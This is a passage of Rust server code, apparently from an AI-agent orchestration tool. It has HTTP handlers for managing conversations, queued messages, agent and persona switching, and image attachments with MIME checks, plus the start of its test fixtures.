7151 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7152) {
7153 let live_set = Arc::clone(&turn.turns);
7154 let mut turn = Some(turn);
7162 loop {
7163 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7164 tracing::warn!("talk {id} lost its turn lease; not draining further");
7167 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7168 if let Some(turn) = turn.take() {
7169 turn.release(&mut live);
7170 }
7171 break;
7172 }
7173 {
7174 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7177 if live.parking {
7178 if let Some(turn) = turn.take() {
7179 turn.release(&mut live);
7180 }
7181 break;
7182 }
7183 }
7184 let observed = live_set
7188 .lock()
7189 .unwrap_or_else(PoisonError::into_inner)
7190 .queued
7191 .get(&id)
7192 .copied()
7193 .unwrap_or(0);
7194 let drained = blocking({
7195 let talks = talks.clone();
7196 let live_set = Arc::clone(&live_set);
7197 move || {
7198 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7203 let result = if live.parking {
7204 Ok(None)
7205 } else {
7206 talk::drain(&mut talk, &talks)
7207 };
7208 drop(live);
7209 Ok((talk, result))
7210 }
7211 })
7212 .await;
7213 let (next_talk, result) = match drained {
7214 Ok(drained) => drained,
7215 Err(e) => {
7216 tracing::warn!(
7217 status = %e.status,
7218 message = %e.message,
7219 "talk {id} could not start queued-text drain"
7220 );
7221 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7222 turn.take()
7223 .expect("held for the whole loop until released here")
7224 .release(&mut live);
7225 break;
7226 }
7227 };
7228 talk = next_talk;
7229 let drained = match result {
7230 Ok(Some(drained)) => drained,
7231 Ok(None) => {
7232 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7233 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7234 continue;
7235 }
7236 turn.take()
7237 .expect("held for the whole loop until released here")
7238 .release(&mut live);
7239 break;
7240 }
7241 Err(e) => {
7242 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7243 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7244 turn.take()
7245 .expect("held for the whole loop until released here")
7246 .release(&mut live);
7247 break;
7248 }
7249 };
7250 if let Some(started) = started.take() {
7251 let _ = started.send(true);
7252 }
7253 let responded = match turn.as_ref() {
7254 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7255 None => Err(anyhow::anyhow!("the turn guard was released")),
7256 };
7257 if let Err(e) = responded {
7258 tracing::warn!("talk {id} turn failed: {e:#}");
7259 }
7260 }
7261 drop(turn);
7262 if let Some(started) = started {
7263 let _ = started.send(false);
7264 }
7265}
7266
7267async fn talk_pending_clear(
7269 State(ui): State<Arc<Ui>>,
7270 Path(id): Path<String>,
7271 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7272) -> ApiResult<Json<TalkView>> {
7273 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7274 blocking(move || {
7275 let id = resolve_talk(&ui.talks, &id)?;
7276 let mut talk = ui.talks.get(&id)?;
7277 if !talk.status.open() {
7278 return Err(ApiError::conflict(format!(
7279 "talk {} is {} and takes no more turns",
7280 talk.short(),
7281 talk.status.as_str()
7282 )));
7283 }
7284 if !talk::clear_pending_if_matches(
7285 &mut talk,
7286 &ui.talks,
7287 &body.expected_text,
7288 &body.expected_attachments,
7289 )? {
7290 return Err(ApiError::conflict(
7291 "queued message changed; reload it before clearing",
7292 ));
7293 }
7294 let thinking = ui.is_thinking(&talk.id);
7295 Ok(Json(TalkView::new(talk, thinking)))
7296 })
7297 .await
7298}
7299
7300async fn talk_pending_edit(
7304 State(ui): State<Arc<Ui>>,
7305 Path(id): Path<String>,
7306 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7307) -> ApiResult<Json<TalkView>> {
7308 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7309 let (view, reclaimed) = blocking({
7310 let ui = Arc::clone(&ui);
7311 move || {
7312 let id = resolve_talk(&ui.talks, &id)?;
7313 let mut talk = ui.talks.get(&id)?;
7314 if !talk.status.open() {
7315 return Err(ApiError::conflict(format!(
7316 "talk {} is {} and takes no more turns",
7317 talk.short(),
7318 talk.status.as_str()
7319 )));
7320 }
7321 if !talk::edit_pending_message(
7322 &mut talk,
7323 &ui.talks,
7324 &body.text,
7325 &body.expected_text,
7326 &body.expected_attachments,
7327 body.message,
7328 )? {
7329 return Err(ApiError::conflict(
7330 "queued message changed; reload it before editing",
7331 ));
7332 }
7333 let claim = match ui.begin_queued_talk_turn(&id)? {
7334 Some(turn_guard) => {
7335 let (cfg, _) = Config::discover(&talk.repo, None)?;
7336 Some((talk.clone(), cfg, id.clone(), turn_guard))
7337 }
7338 None => None,
7339 };
7340 let thinking = ui.is_thinking(&id);
7341 Ok((TalkView::new(talk, thinking), claim))
7342 }
7343 })
7344 .await?;
7345 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7346 let talks = ui.talks.clone();
7347 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7348 }
7349 Ok(Json(view))
7350}
7351
7352fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7354 if talk.status.open() {
7355 return Ok(());
7356 }
7357 Err(ApiError::conflict(format!(
7358 "talk {} is {} and takes no more turns",
7359 talk.short(),
7360 talk.status.as_str()
7361 )))
7362}
7363
7364#[derive(Debug, Deserialize)]
7366struct TalkAgent {
7367 agent: String,
7368}
7369
7370async fn talk_agent(
7375 State(ui): State<Arc<Ui>>,
7376 Path(id): Path<String>,
7377 Json(body): Json<TalkAgent>,
7378) -> ApiResult<Json<TalkView>> {
7379 let id = {
7380 let ui = Arc::clone(&ui);
7381 blocking(move || resolve_talk(&ui.talks, &id)).await?
7382 };
7383 let repo = {
7384 let ui = Arc::clone(&ui);
7385 let id = id.clone();
7386 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7387 };
7388 let cfg = config_for(&repo).await?;
7389 {
7391 let ui = Arc::clone(&ui);
7392 let id = id.clone();
7393 let cfg = cfg.clone();
7394 let wanted = body.agent.clone();
7395 blocking(move || {
7396 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7397 .map_err(ApiError::bad_request_from)?;
7398 refuse_if_closed(&ui.talks.get(&id)?)
7399 })
7400 .await?;
7401 }
7402 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7403 return Err(ApiError::conflict(
7404 "a talk turn is running; change the agent once it has answered",
7405 ));
7406 };
7407 let switched = {
7408 let ui = Arc::clone(&ui);
7409 let id = id.clone();
7410 let cfg = cfg.clone();
7411 blocking(move || {
7412 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7413 .map_err(ApiError::bad_request_from)?;
7414 let mut talk = ui.talks.get(&id)?;
7415 if !talk.status.open() {
7416 return Err(ApiError::conflict(format!(
7417 "talk {} is {} and takes no more turns",
7418 talk.short(),
7419 talk.status.as_str()
7420 )));
7421 }
7422 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7423 Ok(talk)
7424 })
7425 .await
7426 };
7427 let observed = ui.queued_generation(&id);
7432 let fresh = {
7433 let ui = Arc::clone(&ui);
7434 let id = id.clone();
7435 blocking(move || Ok(ui.talks.get(&id)?)).await
7436 };
7437 let draining = match fresh {
7438 Ok(talk) => {
7439 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7440 }
7441 Err(_) => false,
7442 };
7443 let talk = switched?;
7444 Ok(Json(TalkView::new(talk, draining)))
7445}
7446
7447#[derive(Debug, Deserialize)]
7449struct TalkPersona {
7450 persona: String,
7451}
7452
7453async fn talk_persona(
7457 State(ui): State<Arc<Ui>>,
7458 Path(id): Path<String>,
7459 Json(body): Json<TalkPersona>,
7460) -> ApiResult<Json<TalkView>> {
7461 let id = {
7462 let ui = Arc::clone(&ui);
7463 blocking(move || resolve_talk(&ui.talks, &id)).await?
7464 };
7465 let repo = {
7466 let ui = Arc::clone(&ui);
7467 let id = id.clone();
7468 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7469 };
7470 let cfg = config_for(&repo).await?;
7471 {
7473 let ui = Arc::clone(&ui);
7474 let id = id.clone();
7475 let cfg = cfg.clone();
7476 let wanted = body.persona.clone();
7477 blocking(move || {
7478 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7479 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7480 }
7481 refuse_if_closed(&ui.talks.get(&id)?)
7482 })
7483 .await?;
7484 }
7485 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7486 return Err(ApiError::conflict(
7487 "a talk turn is running; change the persona once it has answered",
7488 ));
7489 };
7490 let switched = {
7491 let ui = Arc::clone(&ui);
7492 let id = id.clone();
7493 let cfg = cfg.clone();
7494 blocking(move || {
7495 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7496 return Err(ApiError::bad_request(format!(
7497 "unknown persona `{}`",
7498 body.persona
7499 )));
7500 };
7501 let mut talk = ui.talks.get(&id)?;
7502 if !talk.status.open() {
7503 return Err(ApiError::conflict(format!(
7504 "talk {} is {} and takes no more turns",
7505 talk.short(),
7506 talk.status.as_str()
7507 )));
7508 }
7509 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7510 Ok(talk)
7511 })
7512 .await
7513 };
7514 let observed = ui.queued_generation(&id);
7516 let fresh = {
7517 let ui = Arc::clone(&ui);
7518 let id = id.clone();
7519 blocking(move || Ok(ui.talks.get(&id)?)).await
7520 };
7521 let draining = match fresh {
7522 Ok(talk) => {
7523 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7524 }
7525 Err(_) => false,
7526 };
7527 let talk = switched?;
7528 Ok(Json(TalkView::new(talk, draining)))
7529}
7530
7531#[derive(Debug, Deserialize)]
7533struct TalkImplementers {
7534 implementers: u8,
7535}
7536
7537async fn talk_implementers(
7541 State(ui): State<Arc<Ui>>,
7542 Path(id): Path<String>,
7543 Json(body): Json<TalkImplementers>,
7544) -> ApiResult<Json<TalkView>> {
7545 let id = {
7546 let ui = Arc::clone(&ui);
7547 blocking(move || resolve_talk(&ui.talks, &id)).await?
7548 };
7549 let repo = {
7550 let ui = Arc::clone(&ui);
7551 let id = id.clone();
7552 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7553 };
7554 let cfg = config_for(&repo).await?;
7555 {
7560 let ui = Arc::clone(&ui);
7561 let id = id.clone();
7562 let cfg = cfg.clone();
7563 let wanted = body.implementers;
7564 blocking(move || {
7565 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7566 refuse_if_closed(&ui.talks.get(&id)?)
7567 })
7568 .await?;
7569 }
7570 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7571 return Err(ApiError::conflict(
7572 "a talk turn is running; change the implementers once it has answered",
7573 ));
7574 };
7575 let switched = {
7576 let ui = Arc::clone(&ui);
7577 let id = id.clone();
7578 let cfg = cfg.clone();
7579 blocking(move || {
7580 let chosen =
7581 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7582 let mut talk = ui.talks.get(&id)?;
7583 if !talk.status.open() {
7584 return Err(ApiError::conflict(format!(
7585 "talk {} is {} and takes no more turns",
7586 talk.short(),
7587 talk.status.as_str()
7588 )));
7589 }
7590 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7591 Ok(talk)
7592 })
7593 .await
7594 };
7595 let observed = ui.queued_generation(&id);
7597 let fresh = {
7598 let ui = Arc::clone(&ui);
7599 let id = id.clone();
7600 blocking(move || Ok(ui.talks.get(&id)?)).await
7601 };
7602 let draining = match fresh {
7603 Ok(talk) => {
7604 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7605 }
7606 Err(_) => false,
7607 };
7608 let talk = switched?;
7609 Ok(Json(TalkView::new(talk, draining)))
7610}
7611
7612async fn talk_close(
7614 State(ui): State<Arc<Ui>>,
7615 Path(id): Path<String>,
7616) -> ApiResult<Json<TalkView>> {
7617 blocking(move || {
7618 let id = resolve_talk(&ui.talks, &id)?;
7619 let mut talk = ui.talks.get(&id)?;
7620 talk::close(&mut talk, &ui.talks)?;
7621 let thinking = ui.is_thinking(&talk.id);
7622 Ok(Json(TalkView::new(talk, thinking)))
7623 })
7624 .await
7625}
7626
7627async fn talk_reopen(
7629 State(ui): State<Arc<Ui>>,
7630 Path(id): Path<String>,
7631) -> ApiResult<Json<TalkView>> {
7632 blocking(move || {
7633 let id = resolve_talk(&ui.talks, &id)?;
7634 let mut talk = ui.talks.get(&id)?;
7635 talk::reopen(&mut talk, &ui.talks)?;
7636 let thinking = ui.is_thinking(&talk.id);
7637 Ok(Json(TalkView::new(talk, thinking)))
7638 })
7639 .await
7640}
7641
7642async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7652 blocking(move || {
7653 let id = resolve_talk(&ui.talks, &id)?;
7654 ui.talks.remove(&id)?;
7655 Ok(StatusCode::NO_CONTENT)
7656 })
7657 .await
7658}
7659
7660fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7662 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7663}
7664
7665async fn talk_attachment_post(
7668 State(ui): State<Arc<Ui>>,
7669 Path(id): Path<String>,
7670 headers: HeaderMap,
7671 body: Bytes,
7672) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7673 let mime = validate_attachment(&headers, &body)?;
7674 let name = filename_header(&headers);
7675 let data = body.to_vec();
7676 blocking(move || {
7677 let id = resolve_talk(&ui.talks, &id)?;
7678 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7679 Ok((StatusCode::CREATED, Json(att)))
7680 })
7681 .await
7682}
7683
7684async fn talk_attachment_get(
7687 State(ui): State<Arc<Ui>>,
7688 Path((id, att)): Path<(String, String)>,
7689) -> ApiResult<Response> {
7690 blocking(move || {
7691 let id = resolve_talk(&ui.talks, &id)?;
7692 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7693 return Err(ApiError::not_found(format!(
7694 "talk {id} has no attachment `{att}`"
7695 )));
7696 };
7697 Ok(attachment_response(&meta.mime, data))
7698 })
7699 .await
7700}
7701
7702fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7705 let mut id = String::new();
7706 for b in p.id.bytes() {
7707 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7708 id.push(char::from(b));
7709 } else {
7710 id.push_str(&format!("%{b:02X}"));
7711 }
7712 }
7713 format!(
7714 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7715 persona_icon::fingerprint(p.icon.as_deref())
7716 )
7717}
7718
7719#[derive(Debug, Default, Deserialize)]
7720struct AvatarQuery {
7721 persona: Option<String>,
7722 builtin: Option<String>,
7724}
7725
7726const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7728
7729fn builtin_avatar(id: &str) -> Response {
7730 svg_avatar(persona_icon::builtin_svg(id))
7731}
7732
7733async fn operator_avatar() -> Response {
7734 svg_avatar(persona_icon::operator_svg())
7735}
7736
7737fn svg_avatar(svg: &'static str) -> Response {
7738 (
7739 [
7740 (header::CONTENT_TYPE, "image/svg+xml"),
7741 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7742 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7743 (header::CACHE_CONTROL, "no-cache"),
7744 ],
7745 svg,
7746 )
7747 .into_response()
7748}
7749
7750async fn talk_avatar(
7755 State(ui): State<Arc<Ui>>,
7756 Path(id): Path<String>,
7757 Query(q): Query<AvatarQuery>,
7758) -> ApiResult<Response> {
7759 blocking(move || {
7760 let id = resolve_talk(&ui.talks, &id)?;
7761 let talk = ui.talks.get(&id)?;
7762 let wanted = q
7763 .persona
7764 .as_deref()
7765 .map(str::trim)
7766 .filter(|p| !p.is_empty())
7767 .unwrap_or(&talk.persona)
7768 .to_owned();
7769 let specs = match Config::discover(&talk.repo, None) {
7770 Ok((cfg, _)) => cfg.talk.personas,
7771 Err(e) => {
7772 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7773 Vec::new()
7774 }
7775 };
7776 let Some(found) = persona::find(&specs, &wanted) else {
7777 return Ok(builtin_avatar(persona::DEFAULT_ID));
7778 };
7779 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7780 return Ok(builtin_avatar(&found.id));
7781 };
7782 match persona_icon::load(icon) {
7783 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7784 let mut res = attachment_response(mime, bytes);
7785 res.headers_mut().insert(
7786 header::CACHE_CONTROL,
7787 header::HeaderValue::from_static("no-cache"),
7788 );
7789 Ok(res)
7790 }
7791 Ok((mime, _)) => {
7792 tracing::warn!(
7793 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7794 found.id
7795 );
7796 Ok(builtin_avatar(&found.id))
7797 }
7798 Err(e) => {
7799 tracing::warn!(
7800 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7801 found.id
7802 );
7803 Ok(builtin_avatar(&found.id))
7804 }
7805 }
7806 })
7807 .await
7808}
7809
7810fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7821 if data.len() > ATTACHMENT_MAX_BYTES {
7822 return Err(ApiError::bad_request(format!(
7823 "attachment is {} bytes, over the {} MiB limit",
7824 data.len(),
7825 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7826 ))
7827 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7828 }
7829 if data.is_empty() {
7830 return Err(ApiError::bad_request("attachment is empty"));
7831 }
7832 let declared = declared_mime(headers)?;
7833 match sniffed_mime(data) {
7834 Some(sniffed) if sniffed == declared => Ok(declared),
7835 Some(sniffed) => Err(ApiError::bad_request(format!(
7836 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7837 ))),
7838 None => Err(ApiError::bad_request(
7839 "the file's bytes do not match any accepted image format",
7840 )),
7841 }
7842}
7843
7844fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7848 let raw = headers
7849 .get(header::CONTENT_TYPE)
7850 .and_then(|v| v.to_str().ok())
7851 .unwrap_or("")
7852 .split(';')
7853 .next()
7854 .unwrap_or("")
7855 .trim()
7856 .to_ascii_lowercase();
7857 ATTACHMENT_MIME_WHITELIST
7858 .iter()
7859 .find(|&&m| m == raw)
7860 .copied()
7861 .ok_or_else(|| {
7862 if raw == "image/svg+xml" {
7863 ApiError::bad_request(
7864 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7865 not just a picture",
7866 )
7867 } else if raw.is_empty() {
7868 ApiError::bad_request("Content-Type is required for an attachment upload")
7869 } else {
7870 ApiError::bad_request(format!(
7871 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7872 image/gif or image/webp"
7873 ))
7874 }
7875 })
7876}
7877
7878fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7881 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7882 Some("image/png")
7883 } else if data.starts_with(b"\xff\xd8\xff") {
7884 Some("image/jpeg")
7885 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7886 Some("image/gif")
7887 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7888 Some("image/webp")
7889 } else {
7890 None
7891 }
7892}
7893
7894fn filename_header(headers: &HeaderMap) -> String {
7900 headers
7901 .get(FILENAME_HEADER)
7902 .and_then(|v| v.to_str().ok())
7903 .map(str::trim)
7904 .filter(|s| !s.is_empty())
7905 .unwrap_or("attachment")
7906 .to_owned()
7907}
7908
7909fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7916 let content_type = ATTACHMENT_MIME_WHITELIST
7917 .iter()
7918 .find(|&&m| m == mime)
7919 .copied()
7920 .unwrap_or("application/octet-stream");
7921 (
7922 [
7923 (header::CONTENT_TYPE, content_type),
7924 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7925 ],
7926 body,
7927 )
7928 .into_response()
7929}
7930
7931async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7939 let repo = repo.to_path_buf();
7940 blocking(move || {
7941 let (cfg, _) = Config::discover(&repo, None)?;
7942 Ok(cfg)
7943 })
7944 .await
7945}
7946
7947fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7953 let mut hits = ids
7954 .into_iter()
7955 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7956 match (hits.next(), hits.next()) {
7957 (Some(one), None) => Ok(one),
7958 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7959 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7960 "`{prefix}` matches more than one {what}, including {a} and {b}"
7961 ))),
7962 }
7963}
7964
7965#[cfg(test)]
7966mod tests {
7967
7968 #[test]
7969 fn holder_reads_the_lease_not_the_record() {
7970 let mut q = Question::new(
7971 "run".to_owned(),
7972 "implement".to_owned(),
7973 "impl-A".to_owned(),
7974 "which?".to_owned(),
7975 String::new(),
7976 Vec::new(),
7977 );
7978 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7979 q.cwd = Some("/tmp".to_owned());
7980 assert_eq!(holder_of(&q, None), Some("nobody"));
7981 let beat = |kind, ago: i64| ask::Lease {
7982 kind,
7983 pid: 1,
7984 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7985 .unwrap(),
7986 };
7987 let fresh = beat(ask::WaiterKind::Asker, 1);
7988 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7989 let daemon = beat(ask::WaiterKind::Daemon, 1);
7990 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7991 let stale = beat(ask::WaiterKind::Asker, 3600);
7992 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7993
7994 let mut c = Question::new(
7997 "task".to_owned(),
7998 crate::conduct::NODE.to_owned(),
7999 "conduct".to_owned(),
8000 "which?".to_owned(),
8001 String::new(),
8002 Vec::new(),
8003 );
8004 assert_eq!(holder_of(&c, None), Some("nobody"));
8005 c.cwd = Some("/tmp".to_owned());
8006 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8007 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8008 let deputy = beat(ask::WaiterKind::Deputy, 1);
8009 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8010 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8011
8012 let mut r = Question::new(
8014 String::new(),
8015 crate::bump::NOTICE_NODE.to_owned(),
8016 "release-watch".to_owned(),
8017 "stuck?".to_owned(),
8018 String::new(),
8019 vec!["hold".to_owned()],
8020 );
8021 assert_eq!(holder_of(&r, None), Some("nobody"));
8022 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8023 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8024 r.deputy = None;
8026 r.seat = "bump".to_owned();
8027 assert_eq!(holder_of(&r, None), None);
8028
8029 let mut m = Question::new(
8032 "run".to_owned(),
8033 crate::land::APPROVAL_NODE.to_owned(),
8034 "land".to_owned(),
8035 "merge?".to_owned(),
8036 String::new(),
8037 Vec::new(),
8038 );
8039 assert_eq!(holder_of(&m, None), Some("nobody"));
8040 assert_eq!(
8041 holder_of(&m, Some(&fresh)),
8042 Some("nobody"),
8043 "a lease with no deputy is not a listener"
8044 );
8045 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8046 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8047 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8048 assert_eq!(holder_of(&m, None), Some("nobody"));
8049 }
8050
8051 fn stub_config() -> Config {
8052 Config {
8055 agents: vec![crate::config::AgentSpec {
8056 id: "stub".to_owned(),
8057 kind: AgentKind::Command,
8058 model: None,
8059 command: vec!["true".to_owned()],
8060 extra_args: Vec::new(),
8061 env: Default::default(),
8062 prompt_delivery: None,
8063 }],
8064 ..Config::default()
8065 }
8066 }
8067
8068 fn plain_question(seat: &str) -> Question {
8069 Question::new(
8070 String::new(),
8071 "n".to_owned(),
8072 seat.to_owned(),
8073 "s".to_owned(),
8074 String::new(),
8075 Vec::new(),
8076 )
8077 }
8078
8079 #[test]
8080 fn deputies_enabled_follows_the_config() {
8081 let on = stub_config();
8082 assert!(crate::deputy::can_start(Some(&on), ""));
8083 assert!(crate::deputy::can_start(Some(&on), "stub"));
8084 let mut off = on.clone();
8085 off.daemon.max_deputies = 0;
8086 assert!(!crate::deputy::can_start(Some(&off), ""));
8087 let mut empty = on;
8088 empty.agents.clear();
8089 assert!(!crate::deputy::can_start(Some(&empty), ""));
8090 assert!(!crate::deputy::can_start(None, ""));
8091 }
8092
8093 #[test]
8094 fn question_views_load_the_config_once() {
8095 let dir = TempDir::new().unwrap();
8096 let store = ask::Questions::at(dir.path().to_path_buf());
8097 let mut with_deputy = plain_question("b");
8098 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8099 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8100
8101 let calls = std::cell::Cell::new(0usize);
8102 let views = question_views(qs.clone(), &store, || {
8103 calls.set(calls.get() + 1);
8104 Some(stub_config())
8105 });
8106 assert_eq!(calls.get(), 1);
8107 assert_eq!(views.len(), 3);
8108 for (v, q) in views.iter().zip(&qs) {
8109 assert_eq!(
8110 v.deputies_enabled,
8111 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8112 );
8113 }
8114
8115 let views = question_views(qs, &store, || None);
8116 assert!(views.iter().all(|v| !v.deputies_enabled));
8117
8118 let calls = std::cell::Cell::new(0usize);
8119 let views = question_views(Vec::new(), &store, || {
8120 calls.set(calls.get() + 1);
8121 None
8122 });
8123 assert!(views.is_empty());
8124 assert_eq!(calls.get(), 0);
8125 }
8126
8127 use pretty_assertions::assert_eq;
8128 use serde_json::Value;
8129 use tempfile::TempDir;
8130 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8131
8132 use super::*;
8133 use crate::config::Config;
8134 use crate::queue::Source;
8135
8136 const SETTLE_STEPS: usize = 3_000;
8147
8148 struct Fixture {
8154 home: TempDir,
8155 addr: SocketAddr,
8156 }
8157
8158 impl Fixture {
8159 async fn start() -> Self {
8160 Self::with_loop(launch_idle).await
8161 }
8162
8163 async fn with_loop(launch: Launch) -> Self {
8165 let home = TempDir::new().expect("temp home");
8166 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8167 Self { home, addr }
8168 }
8169
8170 async fn with_repo(repo: PathBuf) -> Self {
8174 let home = TempDir::new().expect("temp home");
8175 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8176 Self { home, addr }
8177 }
8178
8179 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8182 let home = TempDir::new().expect("temp home");
8183 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8184 Self { home, addr }
8185 }
8186
8187 async fn serve(
8188 home: &FsPath,
8189 repo: PathBuf,
8190 launch: Launch,
8191 machine: Option<PathBuf>,
8192 ) -> SocketAddr {
8193 let queue = Queue::at(home.join("queue"));
8194 let runs = home.join("runs");
8195 std::fs::create_dir_all(&runs).expect("runs dir");
8196 let worktrees = home.join("wt").join("magi");
8197 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8198 let ui = Ui::new(
8199 queue,
8200 Questions::at(home.join("questions")),
8201 Talks::at(home.join("talks")),
8202 runs,
8203 home.to_path_buf(),
8204 repo,
8205 )
8206 .with_worktrees_root(worktrees)
8207 .with_machine_config(machine)
8208 .with_launch(launch);
8209 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8210 .await
8211 .expect("bind loopback");
8212 let addr = listener.local_addr().expect("local addr");
8213 tokio::spawn(async move {
8214 let router = ui
8215 .router()
8216 .layer(axum::middleware::from_fn(request_cost::observe));
8217 let _ = axum::serve(listener, router).await;
8218 });
8219 addr
8220 }
8221
8222 fn queue(&self) -> Queue {
8223 Queue::at(self.home.path().join("queue"))
8224 }
8225
8226 fn questions(&self) -> Questions {
8227 Questions::at(self.home.path().join("questions"))
8228 }
8229
8230 fn talks(&self) -> Talks {
8231 Talks::at(self.home.path().join("talks"))
8232 }
8233
8234 fn runs(&self) -> PathBuf {
8235 self.home.path().join("runs")
8236 }
8237
8238 async fn get(&self, path: &str) -> Res {
8239 request(self.addr, "GET", path, None).await
8240 }
8241
8242 async fn head(&self, path: &str) -> Res {
8247 request(self.addr, "HEAD", path, None).await
8248 }
8249
8250 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8251 request(self.addr, "POST", path, body).await
8252 }
8253
8254 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8255 request_with(self.addr, "GET", path, None, extra).await
8256 }
8257
8258 async fn delete(&self, path: &str) -> Res {
8259 request(self.addr, "DELETE", path, None).await
8260 }
8261
8262 async fn put(&self, path: &str, body: &str) -> Res {
8263 request(self.addr, "PUT", path, Some(body)).await
8264 }
8265
8266 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8268 request_bytes(self.addr, path, headers, body).await
8269 }
8270 }
8271
8272 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8275 let tmp = TempDir::new().unwrap();
8276 let mut repos = Vec::new();
8277 for name in ["one", "two"] {
8278 let repo = tmp.path().join(name);
8279 let origin = tmp.path().join(format!("{name}.git"));
8280 std::fs::create_dir_all(&repo).unwrap();
8281 crate::git::git(&repo, &["init", "-b", "main"])
